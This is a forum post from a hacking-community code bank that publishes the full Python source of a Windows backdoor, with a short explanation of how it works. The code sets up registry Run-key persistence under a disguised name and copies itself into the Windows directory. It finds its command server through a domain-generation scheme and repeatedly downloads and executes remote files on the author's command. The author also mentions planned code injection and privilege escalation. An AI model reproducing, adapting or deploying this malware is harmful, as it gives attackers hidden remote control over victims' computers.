Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
Python Trojan/backdoor - Python Code Bank
Python Trojan/backdoor
A backdoor made in Python! It's still a work in progress but I thought I may post it hear and hear what you guys think. The code is straight forward and shouldn't be hard to understand.
How it works:
First it will look after a winreg entry to see if has been run before on the system, this winreg is will be found at" Local Machine Software\Microsoft\Windows\CurrentVersion\Run" under the name SystemAudio. If it is found then it jumps to check if it can find a valid CC to connect to. And if haven't ran before it creates the entry and copy itself to the windows directory, and then tries to find a valid domain. This is done by generating domains based on weeknr and year + a keyword.
If the backdoor has ran before it will also try to lookup a winreg found at Local Machine "Software\Microsoft\Windows" where a valid domain will be stored.
It then tries to find and connect to a valid domain. If it manages to connect to a domain it will search for a keyword on the page to see if the domain is valid, if it can't find it it will move on and check the next domain. If a valid domain is found it saves to the winreg mentioned before.
It will now look if there is a command on the CC, there is only one command so far and thats download and execute. The command layout looks like this DownloadAndExecute=http://h1.ripway.com/ctrltest/putty.exe=putty.exe=2
It will download the file mentioned in the url and spawn it in a new process. It will then sleep for 10min before it contacts the CC to look for a new command. To stop it executing the same command twice the commands is given a ID.
Thats about it.
More things I'm working on is a dll/code inject and a admin rights hack in some sort of way to make it work on Vista/Win7.
'''
Created on 31. mars 2010
@author: ctrl_
'''
from _winreg import *
from time import strftime, gmtime
import winpaths, sys, shutil, time, os, hashlib, urllib2, socket
class main():
def __init__(self):
print("start")
time.sleep(2)
print(sys.argv[0])
if startup():
self.checkOldDomain()
else:
self.checkDomain()
self.winDir = winpaths.get_windows()+"\\"
failedAttempts = 0
oldId = ""
while True: #Main loop
if failedAttempts >= 60:
self.checkDomain()
failedAttempts = 0
try:
response = urllib2.urlopen(self.validDomain)
except:
failedAttempts += 1
time.sleep(6)
continue
contents = response.readlines()
for line in contents:
print(line)
if line.startswith("DownloadAndExecute"):
command = line.strip().split("=")
url = command[1]
name = command[2]
newId = command[3]
print(newId)
if newId == oldId:
print("done cmd")
break
else:
oldId = newId
print(url)
try:
fileDL = urllib2.urlopen(url)
except:
continue
print(name)
fileOut = open(self.winDir+name, "wb")
fileOut.write(fileDL.read())
fileOut.close()
os.spawnv(os.P_NOWAIT, self.winDir+name, (self.winDir+name,))
time.sleep(6)
print("Done")
def checkOldDomain(self):
keyVal = r"Software\Microsoft\Windows"
key = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS)
try:
oldDomain = QueryValueEx(key, "ValidVertificationDomain")
except:
self.checkDomain()
CloseKey(key)
return
CloseKey(key)
while True:
try:
response = urllib2.urlopen(oldDomain[0])
except:
self.checkDomain()
continue
break
data = response.read()
if data.find("AllenWalker") != -1:
self.validDomain = oldDomain[0]
else:
self.checkDomain()
def checkDomain(self):
self.date = str(strftime("%Y%U", gmtime()))
self.tall = 0
self.keyword = "test"
socket.setdefaulttimeout(1)
for x in range(0, 10):
domain = "http://"+self.generate()
try:
response = urllib2.urlopen(domain, timeout=5)
except:
print("Tested %s and failed." % domain)
self.tall += 1
continue
break
data = str(response.read())
if data.find("Allen") != -1:
print("%s is a valid domain" % self.generate())
self.validDomain = domain
self.writeDomain()
else:
print(data)
def writeDomain(self):
keyVal = r"Software\Microsoft\Windows"
try:
key = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS)
QueryValueEx(key, "ValidVertificationDomain")
CloseKey(key)
except:
key = CreateKey(HKEY_LOCAL_MACHINE, keyVal)
SetValueEx(key, "ValidVertificationDomain", 0, REG_SZ, self.validDomain)
CloseKey(key)
def generate(self):
return self.keyword+self.date+str(self.tall)+".selfip.org"
class startup():
def __init__(self):
self.winDir = winpaths.get_windows()+"\\"
if not self.runBefore():
self.copyToWinDir()
print(sys.argv[0])
else:
return
def runBefore(self):
keyVal = r"Software\Microsoft\Windows\CurrentVersion\Run"
try:
key = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS)
QueryValueEx(key, "SystemAudio")
CloseKey(key)
except:
print("First time running")
key = CreateKey(HKEY_LOCAL_MACHINE, keyVal)
SetValueEx(key, "SystemAudio", 0, REG_SZ, '"'+self.winDir+"SystemAudio.py"+'"')
CloseKey(key)
return False
print("run before.")
return True
def copyToWinDir(self):
try:
shutil.copy2(sys.argv[0], self.winDir+"SystemAudio.py")
except:pass
print("Copyed to windir")
main()
Comments
Sorry but there are no comments to display